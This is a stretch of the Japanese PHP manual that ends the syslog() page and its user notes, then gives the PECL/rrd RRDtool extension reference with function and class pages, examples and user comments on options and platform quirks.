  • closelog() - システムログへの接続を閉じる

User Contributed Notes

OWM 02-Jul-2020 04:45
Syslog autodetects newline control characters and therefore splits the message by multiple lines. To prevent this behavior in PHP 7.3+ you can use undocumented (at this moment) ini setting:

<?php

ini_set('syslog.filter', 'raw');

# more info here: https://bugs.php.net/bug.php?id=77913
rgagnon24 at gmail dot com 09-Feb-2019 04:39
This one had me going for a while when using LOG_ constants in another object, when developing on Windows, but deploying on Linux.

Windows evaluates some of the LOG_ constants to the same value, while LINUX does not.

The 8 constants and their differences on the platforms to be aware of:

Linux has these values as:
========================
LOG_EMERG = 0
LOG_ALERT = 1
LOG_CRIT = 2
LOG_ERR = 3
LOG_WARNING = 4
LOG_NOTICE = 5
LOG_INFO = 6
LOG_DEBUG = 7

While on Windows, you have:
==========================
LOG_EMERG = 1
LOG_ALERT = 1
LOG_CRIT = 1
LOG_ERR = 4
LOG_WARNING = 5
LOG_NOTICE = 6
LOG_INFO = 6
LOG_DEBUG = 6

So if you're setting LOG_WARNING in your code, Linux will use 4 as the priority while Windows will use 5.

This is not a bug in PHP on either platform, but a difference in the system header files that PHP compiles with.  Not really anything you can do, but be aware if you're wondering why your messages log at different priorities depending on the platform, this could be why.
stevekamerman at gmail dot com 24-Oct-2018 06:43
This function sends messages in BSD Syslog RFC 3164 format (https://tools.ietf.org/html/rfc3164).

To see the raw messages being sent by PHP to the logging socket, first stop your syslog/rsylsog/ng-syslog service, then listen to the logging socket with the netcat-openbsd package:

nc -U -l /dev/log

Now, log something from PHP:

<?php
syslog(LOG_LOCAL1|LOG_INFO, "Test from PHP");
?>

You will see the rfc3164 output from netcat:

<142>Oct 24 14:32:51 php: Test from PHP
antoine dot leverve dot EXT at zodiacaerospace dot com 21-Dec-2015 11:48
The documentation is incorrect when it says "Priorities (in descending order)", as the table that follows is actually in **ascending** order.

For example my output says:
LOG_ERR : 4
LOG_WARNING : 5
LOG_DEBUG : 6

An important difference, that caused me some pain!
huangyg11 at gmail dot com 11-May-2015 04:34
For those who want to simultaneously write to multiple syslog facilities :

syslog(LOG_INFO|LOG_LOCAL0, "message for local0");
syslog(LOG_INFO|LOG_LOCAL1, "message for local1");
Antonio Lobato 11-May-2010 01:57
A word of warning; if you use openlog() to ready syslog() and your Apache threads accept multiple requests, you *must* call closelog() if Apache's error log is configured to write to syslog.  Failure to do so will cause Apache's error log to write to whatever facility/ident was used in openlog.

Example, in httpd.conf you have:

ErrorLog syslog:local7

and in php you do:

<?php
openlog("myprogram", 0, LOG_LOCAL0);
syslog("My syslog message");
?>

From here on out, this Apache thread will write ErrorLog to local0 and under the process name "myprogram" and not httpd!  Calling closelog() will fix this.
james dot ellis at gmail dot com 02-Dec-2007 08:26
If anyone is wondering why their log messages are appearing in multiple log files, here is one answer applying to *nix systems:

If your syslog.conf looks like this (assuming you use LOG_LOCAL0 for web app logging) :

local0.info    /var/log/web/info.log

This will collect *all* messages of LOG_INFO level and higher, i.e everything except debug messages

Try this instead to ensure that only messages of the named log level go into the relevant log file:

local0.=info    /var/log/web/info.log

Additionally, you may like to add this to ensure your messages don't end up in generic log files like "messages"  "all" "syslog" and "debug":

local0.none    /var/log/messages
local0.none    /var/log/debug
etc

saves disk space among other things - more at "man syslog.conf"
helly at php dot net 13-Apr-2007 05:49
If you are using syslog-ng and want errors send to syslog then use ini setting "error_log = syslog" and add something like the following to your syslog-ng.conf:

destination php { file("/var/log/php.log" owner(root) group(devel) perm(0620)); };
log { source(src); filter(f_php); destination(php); };
adam _at_ lockdownnetworks _dot_ com 10-Apr-2007 06:32
Be aware when using syslog() that if you set the timezone of environment to be something other than the standard, syslog() may log the time to the log(s) with the wrong time zone information. For example:

<?php

openlog('mylog', LOG_PID | LOG_ODELAY,LOG_LOCAL4);

putenv('TZ=UTC');
syslog(LOG_INFO, 'UTC Log line');

putenv('TZ=US/Pacific');
syslog(LOG_INFO, 'US/Pacific Log line');

closelog();

?>

Viewing the /usr/log/messages log will display these two lines:

Apr 11 01:25:39 hostname mylog[1400]: UTC Log line
Apr 10 18:25:39 hostname mylog[1400]: US/Pacific Log line

Adam.
Torsten 23-Apr-2004 06:27
I had a problem trying to issue a syslog message with IIS 5.1 under Windows XP. The function call seemed to succeed, but the event viewer showed that no entry was made.
Finally I found out that the user account used for the webserver (IUSR_<Computername>) did not have enough permissions to issue syslog alerts. I changed this by adding this user to the Users group instead of only Guest.
daniele dot patoner at biblio dot unitn dot it 06-Nov-2003 11:00
This work for me, to redirect  logs to a separate syslog file

put this line in your /etc/syslog.conf :

local0.debug   /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

php example:

<?php
define_syslog_variables();
openlog("TextLog", LOG_PID, LOG_LOCAL0);

$data = date("Y/m/d H:i:s");
syslog(LOG_DEBUG,"Messagge: $data");

closelog();
?>
gregj at pdxperts dot com 28-Jul-2003 05:05
The message string sent to the log file is limited to 500 characters.
nospam \100 jraxis com (that's right!) 31-Mar-2002 08:32
This *does* actually goto the system log as configured in /etc/syslog.conf (such as /var/log/messages), it doesn't goto Apache's ErrorLog (such as /var/log/httpd/error_log). At least under my Debian Potato with Apache 1.3.23.

Use error_log() to be sure it gets into Apache's ErrorLog.
dpreece at paradise dot net dot nz 29-Jan-2002 04:08
To set up a custom log file via the syslog daemon (FreeBSD in this case)...

Add to /etc/syslog.conf a line that says all errors from the httpd process are to go to a file called (for example) /var/log/httpd-php.log

!httpd
*.*   {tab}   /var/log/httpd-php.log

Note the tab, being a tab character! Next create a blank file to be written to. I'm sure there are 1e+6 ways to do this, but I choose

# cat > httpd-php.log << EOF
? EOF

Finally find your syslog daemon and send it a sighup to inform it of the change:

# ps ax | grep syslogd
  133  ??  Ss     0:07.23 syslogd -s
# kill -1 133

Et voila! Php syslog calls will now arrive in /var/log/httpd-php.log
mavetju at chello dot nl 22-Jan-2001 06:11
With FreeBSD I can use: syslog(LOG_INFO,"test");

BSD/OS does not support this, I had to use the literal values for the priority (158: local3.info):
syslog(158,"test");
gherson at snet dot net 20-Dec-2000 01:09
Example of where to look for syslog's output:   /var/log/httpd/access_log
(on Red Hat Linux Secure Server v6.2).
rcgraves+php at brandeis dot edu 17-Feb-2000 12:51
For the-header-file-enabled:

man 3 syslog defines the priorities, but not the integer values. For that you'll need to read your system header file.

Let's suppose I want to log an informational message in the mail log (which happens to be true). The man page tells me I want LOG_MAIL|LOG_INFO. So I look in /usr/include/sys/syslog.h and find (this happens to be Linux, your system could be different):

#define LOG_INFO        6       /* informational */
#define LOG_MAIL        (2<<3)  /* mail system */

2<<3 means shift 3 bits left, which means multiply by 8. So I want 2*8 + 6 = 22. syslog(22,"this message will appear in the mail log"); And indeed it does.
bb at lb-data dot co dot at 08-Sep-1999 03:54
In Windows NT, use the following values of priority:
1 = error,
6 = info


RRDtool

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • Procedural PECL/rrd example
    • OOP PECL/rrd example
  • RRD 関数
    • rrd_create — Creates rrd database file
    • rrd_error — Gets latest error message
    • rrd_fetch — Fetch the data for graph as array
    • rrd_first — Gets the timestamp of the first sample from rrd file
    • rrd_graph — Creates image from a data
    • rrd_info — Gets information about rrd file
    • rrd_last — Gets unix timestamp of the last sample
    • rrd_lastupdate — Gets information about last updated data
    • rrd_restore — Restores the RRD file from XML dump
    • rrd_tune — Tunes some RRD database file header options
    • rrd_update — Updates the RRD database
    • rrd_version — Gets information about underlying rrdtool library
    • rrd_xport — Exports the information about RRD database
    • rrdc_disconnect — Close any outstanding connection to rrd caching daemon
  • RRDCreator — RRDCreator クラス
    • RRDCreator::addArchive — Adds RRA - archive of data values for each data source
    • RRDCreator::addDataSource — Adds data source definition for RRD database
    • RRDCreator::__construct — Creates new RRDCreator instance
    • RRDCreator::save — Saves the RRD database to a file
  • RRDGraph — RRDGraph クラス
    • RRDGraph::__construct — Creates new RRDGraph instance
    • RRDGraph::save — Saves the result of query into image
    • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph
    • RRDGraph::setOptions — Sets the options for rrd graph export
  • RRDUpdater — RRDUpdater クラス
    • RRDUpdater::__construct — Creates new RRDUpdater instance
    • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The PECL/rrd extension provides bindings to the RRDtool C library. RRDtool is the open source industry standard, high performance data logging and graphing system for time series data.

The RRDtool homepage is » http://www.mrtg.org/rrdtool/.

User Contributed Notes

There are no user contributed notes for this page.


要件

You need to install librrd first to be able to use PECL/rrd. Most common option is using of librrd-dev package from your favourite linux distro. PECL/rrd is tested with librrd 1.4.3, older or newer versions might or might not work for you. PECL/rrd installation is tested with PHP 5.3.2 or newer.

警告

Librrd and hence extension itself aren't mostly thread safe. There are many global and shared states in librrd. It can be dangerous use this extension in multi threaded environments like Apache2 mpm worker. If there are many parallel requests, one request can change some global librrd state of other runnig requests.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/rrd.

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • Procedural PECL/rrd example
  • OOP PECL/rrd example

User Contributed Notes

There are no user contributed notes for this page.


Procedural PECL/rrd example

例1 Procedural usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";

//create rrd file
rrd_create($rrdFile,
 array(
  "--start",920804400,
  "DS:speed:COUNTER:600:U:U",
  "RRA:AVERAGE:0.5:1:24",
  "RRA:AVERAGE:0.5:6:10"
  )
);

//update rrd file
rrd_update($rrdFile,
 array(
  "920804700:12345",
  "920805000:12357"
  )
);

//graph output
rrd_graph(dirname(__FILE__) . "/speed.png",
 array(
  "--start", "920804400",
  "--end", "920808000",
  "--vertical-label", "m/s",
  "DEF:myspeed=$rrdFile:speed:AVERAGE",
  "CDEF:realspeed=myspeed,1000,*",
  "LINE2:realspeed#FF0000"
 )
);
?>

User Contributed Notes

There are no user contributed notes for this page.


OOP PECL/rrd example

例1 OO usage of rrd

<?php
$rrdFile = dirname(__FILE__) . "/speed.rrd";
$outputPngFile = dirname(__FILE__) . "/speed.png";

$creator = new RRDCreator($rrdFile, "now -10d", 500);
$creator->addDataSource("speed:COUNTER:600:U:U");
$creator->addArchive("AVERAGE:0.5:1:24");
$creator->addArchive("AVERAGE:0.5:6:10");
$creator->save();

$updater = new RRDUpdater($rrdFile);
$updater->update(array("speed" => "12345"), "920804700");
$updater->update(array("speed" => "12357"), "920805000");

$graphObj = new RRDGraph($outputPngFile);
$graphObj->setOptions(
    array(
        "--start" => "920804400",
        "--end" => 920808000,
        "--vertical-label" => "m/s",
        "DEF:myspeed=$rrdFile:speed:AVERAGE",
        "CDEF:realspeed=myspeed,1000,*",
        "LINE2:realspeed#FF0000"
    )
);
$graphObj->save();
?>

User Contributed Notes

There are no user contributed notes for this page.


RRD 関数

目次

  • rrd_create — Creates rrd database file
  • rrd_error — Gets latest error message
  • rrd_fetch — Fetch the data for graph as array
  • rrd_first — Gets the timestamp of the first sample from rrd file
  • rrd_graph — Creates image from a data
  • rrd_info — Gets information about rrd file
  • rrd_last — Gets unix timestamp of the last sample
  • rrd_lastupdate — Gets information about last updated data
  • rrd_restore — Restores the RRD file from XML dump
  • rrd_tune — Tunes some RRD database file header options
  • rrd_update — Updates the RRD database
  • rrd_version — Gets information about underlying rrdtool library
  • rrd_xport — Exports the information about RRD database
  • rrdc_disconnect — Close any outstanding connection to rrd caching daemon

User Contributed Notes

There are no user contributed notes for this page.


Creates rrd database file

  • ≪ RRD 関数
  • rrd_error ≫
  • PHP Manual
  • RRD 関数
  • Creates rrd database file

rrd_create

(PECL rrd >= 0.9.0)

rrd_create — Creates rrd database file

説明

rrd_create ( string $filename , array $options ) : bool

Creates the rdd database file.

パラメータ

filename

Filename for newly created rrd file.

options

Options for rrd create - list of strings. See man page of rrd create for whole list of options.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

daniel dot seif at castex dot de 29-Apr-2011 08:52
Note, that in previous versions, the interface was

bool rrd_create ( string $filename , array $options , integer numberOfOptions )


Gets latest error message

  • ≪ rrd_create
  • rrd_fetch ≫
  • PHP Manual
  • RRD 関数
  • Gets latest error message

rrd_error

(PECL rrd >= 0.9.0)

rrd_error — Gets latest error message

説明

rrd_error ( ) : string

Returns latest global rrd error message.

パラメータ

この関数にはパラメータはありません。

返り値

Latest error message.

User Contributed Notes

There are no user contributed notes for this page.


Fetch the data for graph as array

  • ≪ rrd_error
  • rrd_first ≫
  • PHP Manual
  • RRD 関数
  • Fetch the data for graph as array

rrd_fetch

(PECL rrd >= 0.9.0)

rrd_fetch — Fetch the data for graph as array

説明

rrd_fetch ( string $filename , array $options ) : array

Gets data for graph output from RRD database file as array. This function has same result as rrd_graph(), but fetched data are returned as array, no image file is created.

パラメータ

filename

RRD database file name.

options

Array of options for resolution specification.

返り値

Returns information about retrieved graph data.

User Contributed Notes

stephanecharette at gmail dot com 06-Sep-2013 05:50
For example, this worked for me:

<?php
$result = rrd_fetch( "mydata.rrd", array( "AVERAGE", "--resolution", "60", "--start", "-1d", "--end", "start+1h" ) );
?>

This will fetch all fields.  You then have to use something like this to get to a specified rrd field:

<?php
foreach ( $result["data"]["myfield"] as $key => $value )
{
    echo "At timestamp $key, the value for myfield is $value.\n";
}
?>
ernestas at versme dot net 21-Aug-2013 12:56
A few years ago, the extension was patched so that it would count options itself. But for me, it's buggy (it does not work with more than 3 arguments) and neither does work.


Gets the timestamp of the first sample from rrd file

  • ≪ rrd_fetch
  • rrd_graph ≫
  • PHP Manual
  • RRD 関数
  • Gets the timestamp of the first sample from rrd file

rrd_first

(PECL rrd >= 0.9.0)

rrd_first — Gets the timestamp of the first sample from rrd file

説明

rrd_first ( string $file , int $raaindex = 0 ) : int

Returns the first data sample from the specified RRA of the RRD file.

パラメータ

file

RRD database file name.

raaindex

The index number of the RRA that is to be examined. Default value is 0.

返り値

Integer number of unix timestamp, false if some error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Creates image from a data

  • ≪ rrd_first
  • rrd_info ≫
  • PHP Manual
  • RRD 関数
  • Creates image from a data

rrd_graph

(PECL rrd >= 0.9.0)

rrd_graph — Creates image from a data

説明

rrd_graph ( string $filename , array $options ) : array

Creates image for a particular data from RRD file.

パラメータ

filename

The filename to output the graph to. This will generally end in either .png, .svg or .eps, depending on the format you want to output.

options

Options for generating image. See man page of rrd graph for all possible options. All options (data definitions, variable defintions, etc.) are allowed.

返り値

Array with information about generated image is returned, false when error occurs.

User Contributed Notes

geekcom 10-Jan-2020 04:20
For a rrdgraph doc/man page see:

https://docs.oracle.com/cd/E88353_01/html/E37839/rrdgraph-1.html
Anonymous 09-Jan-2020 02:48
This documentation page is useless ...

"See man page of rrd graph for all possible options"

I thought I am looking at the documentation, of not, why not provide a link ?
info at ukee dot nl 27-Feb-2015 09:39
When using style features like:  --font TITLE:13:Times
use in your code: --font=TITLE:13:Times

the "=" is missing in the documentation
Anonymous 30-Jul-2013 11:16
When I add

--font AXIS:8:

into $options,

I receive the next error:

PNG creation error: unknown option '--font AXIS:8:'

According to docs from rrdtool site the right syntax is:

[-n|--font FONTTAG:size:[font]]

This lets you customize which font to use for the various text elements on the RRD graphs. DEFAULT sets the default value for all elements, TITLE for the title, AXIS for the axis labels, UNIT for the vertical unit label, LEGEND for the graph legend, WATERMARK for the watermark on the edge of the graph.

Use Times for the title: --font TITLE:13:Times

Note that you need to quote the argument to --font if the font-name contains whitespace: --font "TITLE:13:Some Font"

If you do not give a font string you can modify just the size of the default font: --font TITLE:13:.
Dk 05-Jul-2013 05:55
You can get the latest RRD Error by simply doing print_r(rrd_error()) immediately after the rrd_graph() call.
Matt C 13-May-2012 08:38
Note; apache server requires write access to the folder in which the image is to be created otherwise no image file is produced, and (unhelpfully) no error is generated.


Gets information about rrd file

  • ≪ rrd_graph
  • rrd_last ≫
  • PHP Manual
  • RRD 関数
  • Gets information about rrd file

rrd_info

(PECL rrd >= 0.9.0)

rrd_info — Gets information about rrd file

説明

rrd_info ( string $filename ) : array

Returns information about particular RRD database file.

パラメータ

file

RRD database file name.

返り値

Array with information about requsted RRD file, false when error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Gets unix timestamp of the last sample

  • ≪ rrd_info
  • rrd_lastupdate ≫
  • PHP Manual
  • RRD 関数
  • Gets unix timestamp of the last sample

rrd_last

(PECL rrd >= 0.9.0)

rrd_last — Gets unix timestamp of the last sample

説明

rrd_last ( string $filename ) : int

Returns the UNIX timestamp of the most recent update of the RRD database.

パラメータ

filename

RRD database file name.

返り値

Integer as unix timestamp of the most recent data from the RRD database.

User Contributed Notes

There are no user contributed notes for this page.


Gets information about last updated data

  • ≪ rrd_last
  • rrd_restore ≫
  • PHP Manual
  • RRD 関数
  • Gets information about last updated data

rrd_lastupdate

(PECL rrd >= 0.9.0)

rrd_lastupdate — Gets information about last updated data

説明

rrd_lastupdate ( string $filename ) : array

Gets array of the UNIX timestamp and the values stored for each date in the most recent update of the RRD database file.

パラメータ

file

RRD database file name.

返り値

Array of information about last update, false when error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Restores the RRD file from XML dump

  • ≪ rrd_lastupdate
  • rrd_tune ≫
  • PHP Manual
  • RRD 関数
  • Restores the RRD file from XML dump

rrd_restore

(PECL rrd >= 0.9.0)

rrd_restore — Restores the RRD file from XML dump

説明

rrd_restore ( string $xml_file , string $rrd_file , array $options = ? ) : bool

Restores the RRD file from the XML dump.

パラメータ

xml_file

XML filename with the dump of the original RRD database file.

rrd_file

Restored RRD database file name.

options

Array of options for restoring. See man page for rrd restore.

返り値

Returns true on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Tunes some RRD database file header options

  • ≪ rrd_restore
  • rrd_update ≫
  • PHP Manual
  • RRD 関数
  • Tunes some RRD database file header options

rrd_tune

(PECL rrd >= 0.9.0)

rrd_tune — Tunes some RRD database file header options

説明

rrd_tune ( string $filename , array $options ) : bool

Change some options in the RRD dabase header file. E.g. renames the source for the data etc.

パラメータ

filename

RRD database file name.

options

Options with RRD database file properties which will be changed. See rrd tune man page for details.

返り値

Returns true on success, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Updates the RRD database

  • ≪ rrd_tune
  • rrd_version ≫
  • PHP Manual
  • RRD 関数
  • Updates the RRD database

rrd_update

(PECL rrd >= 0.9.0)

rrd_update — Updates the RRD database

説明

rrd_update ( string $filename , array $options ) : bool

Updates the RRD database file. The input data is time interpolated according to the properties of the RRD database file.

パラメータ

filename

RRD database file name. This database will be updated.

options

Options for updating the RRD database. This is list of strings. See man page of rrd update for whole list of options.

返り値

Returns true on success, false when error occurs.

User Contributed Notes

m[dot]reza[dot]hamedany[at]gmail[dot]com 25-Jul-2017 11:27
class rrdUpdate {

    public function rrdFilesUpdate($id,$value){

        $rrdFile ="/path/to/file/".$id.rrd;

        $time = time();

            $ret = rrd_update($rrdFile, "$time:$value");
            return $ret;
            if (!$ret) {
                echo "<b>update error: </b>" . rrd_error() . "\n";
            }
        }
    }


Gets information about underlying rrdtool library

  • ≪ rrd_update
  • rrd_xport ≫
  • PHP Manual
  • RRD 関数
  • Gets information about underlying rrdtool library

rrd_version

(PECL rrd >= 1.0.0)

rrd_version — Gets information about underlying rrdtool library

説明

rrd_version ( ) : string

Returns information about underlying rrdtool library.

パラメータ

この関数にはパラメータはありません。

返り値

String with rrdtool version number e.g. "1.4.3".

User Contributed Notes

There are no user contributed notes for this page.


Exports the information about RRD database

  • ≪ rrd_version
  • rrdc_disconnect ≫
  • PHP Manual
  • RRD 関数
  • Exports the information about RRD database

rrd_xport

(PECL rrd >= 0.9.0)

rrd_xport — Exports the information about RRD database

説明

rrd_xport ( array $options ) : array

Exports the information about RRD database file. This data can be converted to XML file via user space PHP script and then restored back as RRD database file.

パラメータ

options

Array of options for the export, see rrd xport man page.

返り値

Array with information about RRD database file, false when error occurs.

User Contributed Notes

mrezahamedany 25-Jul-2017 05:12
an example that shows the usage of this method ( tested in php version 5.6.30 )

class Rrd{
    public function getData($id , $start , $end)
    {
        $step = 300 ;
        $rrdFile ="/path/to/file/'.$id.rrd";

        try{
            $options = ["--start", $start , "--end", $end ,"-- step",$step,"DEF:out=$rrdFile:name:AVERAGE", "XPORT:out:test"];
            $result = rrd_xport($options);
            $datas = $result['data'][0]['data'];
            foreach($datas as $data => $value){

                if( is_nan($value) === true ) $value = 0 ;
                    $output[] = [$data=>$value] ;
            }
            return json_encode($output);

        }catch (Exception $e){

            dd($e->getMessage());
        }

    }
}


Close any outstanding connection to rrd caching daemon

  • ≪ rrd_xport
  • RRDCreator ≫
  • PHP Manual
  • RRD 関数
  • Close any outstanding connection to rrd caching daemon

rrdc_disconnect

(PECL rrd >= 1.1.2)

rrdc_disconnect — Close any outstanding connection to rrd caching daemon

説明

rrdc_disconnect ( ) : void

Close any outstanding connection to rrd caching daemon.

This function is automatically called when the whole PHP process is terminated. It depends on used SAPI. For example, it's called automatically at the end of command line script.

It's up user whether he wants to call this function at the end of every request or otherwise.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


RRDCreator クラス

(PECL rrd >= 0.9.0)

はじめに

RRD データベースファイルの生成クラス

クラス概要

RRDCreator {
/* メソッド */
public addArchive ( string $description ) : void
public addDataSource ( string $description ) : void
public __construct ( string $path , string $startTime = ? , int $step = 0 )
public save ( ) : bool
}

目次

  • RRDCreator::addArchive — Adds RRA - archive of data values for each data source
  • RRDCreator::addDataSource — Adds data source definition for RRD database
  • RRDCreator::__construct — Creates new RRDCreator instance
  • RRDCreator::save — Saves the RRD database to a file

User Contributed Notes

There are no user contributed notes for this page.


Adds RRA - archive of data values for each data source

  • ≪ RRDCreator
  • RRDCreator::addDataSource ≫
  • PHP Manual
  • RRDCreator
  • Adds RRA - archive of data values for each data source

RRDCreator::addArchive

(PECL rrd >= 0.9.0)

RRDCreator::addArchive — Adds RRA - archive of data values for each data source

説明

public RRDCreator::addArchive ( string $description ) : void

Adds RRA definition by description of archive. Archive consists of a number of data values or statistics for each of the defined data-sources (DS). Data sources are defined by method RRDCreator::addDataSource(). You need call this method for each requested archive.

パラメータ

description

Definition of archive - RRA. This has same format as RRA definition in rrd create command. See man page of rrd create for more details.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Adds data source definition for RRD database

  • ≪ RRDCreator::addArchive
  • RRDCreator::__construct ≫
  • PHP Manual
  • RRDCreator
  • Adds data source definition for RRD database

RRDCreator::addDataSource

(PECL rrd >= 0.9.0)

RRDCreator::addDataSource — Adds data source definition for RRD database

説明

public RRDCreator::addDataSource ( string $description ) : void

RRD can accept input from several data sources (DS), e.g incoming and outgoing traffic. This method adds data source by description. You need call this method for each data source.

パラメータ

description

Definition of data source - DS. This has same format as DS definition in rrd create command. See man page of rrd create for more details.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Creates new RRDCreator instance

  • ≪ RRDCreator::addDataSource
  • RRDCreator::save ≫
  • PHP Manual
  • RRDCreator
  • Creates new RRDCreator instance

RRDCreator::__construct

(PECL rrd >= 0.9.0)

RRDCreator::__construct — Creates new RRDCreator instance

説明

public RRDCreator::__construct ( string $path , string $startTime = ? , int $step = 0 )

Creates new RRDCreator instance.

パラメータ

path

Path for newly created RRD database file.

startTime

Time for the first value in RRD database. Parameter supports all formats which are supported by rrd create call.

intstep

Base interval in seconds with which data will be fed into the RRD database.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Saves the RRD database to a file

  • ≪ RRDCreator::__construct
  • RRDGraph ≫
  • PHP Manual
  • RRDCreator
  • Saves the RRD database to a file

RRDCreator::save

(PECL rrd >= 0.9.0)

RRDCreator::save — Saves the RRD database to a file

説明

public RRDCreator::save ( ) : bool

Saves the RRD database into file, which name is defined by RRDCreator::__construct().

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


RRDGraph クラス

(PECL rrd >= 0.9.0)

はじめに

RRD データベースから画像ファイルにデータをエクスポートするクラス

クラス概要

RRDGraph {
/* メソッド */
public __construct ( string $path )
public save ( ) : array
public saveVerbose ( ) : array
public setOptions ( array $options ) : void
}

目次

  • RRDGraph::__construct — Creates new RRDGraph instance
  • RRDGraph::save — Saves the result of query into image
  • RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph
  • RRDGraph::setOptions — Sets the options for rrd graph export

User Contributed Notes

Anonymous 01-Dec-2016 02:38
On Windows if you get "Cannot parse DS in 'DEF:rr=C:/Users/xxx/code/monitor/speed_gauge.rrd:value:MAX'" error on Windows. This may mean that rrdtool does not like ":" on your file name - it needs to be replaced with "\:"

Atleast for me fixed that issue if I replace colon "str_replace(':', '\\:', $rrdPath);"


Creates new RRDGraph instance

  • ≪ RRDGraph
  • RRDGraph::save ≫
  • PHP Manual
  • RRDGraph
  • Creates new RRDGraph instance

RRDGraph::__construct

(PECL rrd >= 0.9.0)

RRDGraph::__construct — Creates new RRDGraph instance

説明

public RRDGraph::__construct ( string $path )

Creates new RRDGraph instance. This instance is responsible for rendering the result of RRD database query into image.

パラメータ

path

Full path for the newly created image.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Saves the result of query into image

  • ≪ RRDGraph::__construct
  • RRDGraph::saveVerbose ≫
  • PHP Manual
  • RRDGraph
  • Saves the result of query into image

RRDGraph::save

(PECL rrd >= 0.9.0)

RRDGraph::save — Saves the result of query into image

説明

public RRDGraph::save ( ) : array

Saves the result of RRD database query into image defined by RRDGraph::__construct().

パラメータ

この関数にはパラメータはありません。

返り値

Array with information about generated image is returned, false if error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Saves the RRD database query into image and returns the verbose information about generated graph

  • ≪ RRDGraph::save
  • RRDGraph::setOptions ≫
  • PHP Manual
  • RRDGraph
  • Saves the RRD database query into image and returns the verbose information about generated graph

RRDGraph::saveVerbose

(PECL rrd >= 0.9.0)

RRDGraph::saveVerbose — Saves the RRD database query into image and returns the verbose information about generated graph

説明

public RRDGraph::saveVerbose ( ) : array

Saves the RRD database query into image file defined by method RRDGraph::__construct() and returns the verbose information about generated graph, if "-" is used as image filename, image data are also returned in result array.

パラメータ

この関数にはパラメータはありません。

返り値

Array with detailed information about generated image is returned, optionally with image data, false if error occurs.

User Contributed Notes

There are no user contributed notes for this page.


Sets the options for rrd graph export

  • ≪ RRDGraph::saveVerbose
  • RRDUpdater ≫
  • PHP Manual
  • RRDGraph
  • Sets the options for rrd graph export

RRDGraph::setOptions

(PECL rrd >= 0.9.0)

RRDGraph::setOptions — Sets the options for rrd graph export

説明

public RRDGraph::setOptions ( array $options ) : void

パラメータ

options

List of options for the image generation from the RRD database file. It can be list of strings or list of strings with keys for better readability. Read the rrd graph man pages for list of available options.

返り値

値を返しません。

例

例1 RRDGraph::setOptions() example

<?php
$graphObj->setOptions(array(
    "--start" => "920804400",
    "--end" => 920808000,
    "--vertical-label" => "m/s",
    "DEF:myspeed=$rrdFile:speed:AVERAGE",
    "CDEF:realspeed=myspeed,1000,*",
    "LINE2:realspeed#FF0000"
));
?>

例2 Set multiple color options

<?php
$graphObj->setOptions(array(
    "--start" => "920804400",
    "--end" => 920808000,
    "--vertical-label" => "m/s",
    "--color=BACK#00000000",
    "--color=GRID#00000000",
    "--color=MGRID#00000000",
    "DEF:myspeed=$rrdFile:speed:AVERAGE",
    "CDEF:realspeed=myspeed,1000,*",
    "LINE2:realspeed#FF0000"
));
?>

Don't use key value syntax for same rrd option. It looks more readable, but it doesn't work.

<?php
$graphObj->setOptions(array(
    "--color" => "BACK#00000000",
    "--color" => "GRID#00000000",
    "--color" => "MGRID#00000000"
));
?>

In nature of php it's same as

<?php
$graphObj->setOptions(array(
    "--color" => "MGRID#00000000"
));
?>

User Contributed Notes

There are no user contributed notes for this page.


RRDUpdater クラス

(PECL rrd >= 0.9.0)

はじめに

RDD データベースファイルを更新するクラス

クラス概要

RRDUpdater {
/* メソッド */
public __construct ( string $path )
public update ( array $values , string $time = time() ) : bool
}

目次

  • RRDUpdater::__construct — Creates new RRDUpdater instance
  • RRDUpdater::update — Update the RRD database file

User Contributed Notes

There are no user contributed notes for this page.


Creates new RRDUpdater instance

  • ≪ RRDUpdater
  • RRDUpdater::update ≫
  • PHP Manual
  • RRDUpdater
  • Creates new RRDUpdater instance

RRDUpdater::__construct

(PECL rrd >= 0.9.0)

RRDUpdater::__construct — Creates new RRDUpdater instance

説明

public RRDUpdater::__construct ( string $path )

Creates new RRDUpdater instance. This instance is responsible for updating the RRD database file.

パラメータ

path

Filesystem path for RRD database file, which will be updated.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Update the RRD database file

  • ≪ RRDUpdater::__construct
  • ScoutAPM ≫
  • PHP Manual
  • RRDUpdater
  • Update the RRD database file

RRDUpdater::update

(PECL rrd >= 0.9.0)

RRDUpdater::update — Update the RRD database file

説明

public RRDUpdater::update ( array $values , string $time = time() ) : bool

Updates the RRD file defined via RRDUpdater::__construct(). The file is updated with a specific values.

パラメータ

values

Data for update. Key is data source name.

time

Time value for updating the RRD with a particulat data. Default value is current time.

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

Throws a Exception on error.

例

例1 RRDUpdater::update() examples

<?php
$updator = new RRDUpdater("speed.rrd");
//updates the data source "speed" with value "12411"
//for time defined by timestamp "920807700"
$updator->update(array("speed" => "12411"), "920807700");
?>

User Contributed Notes

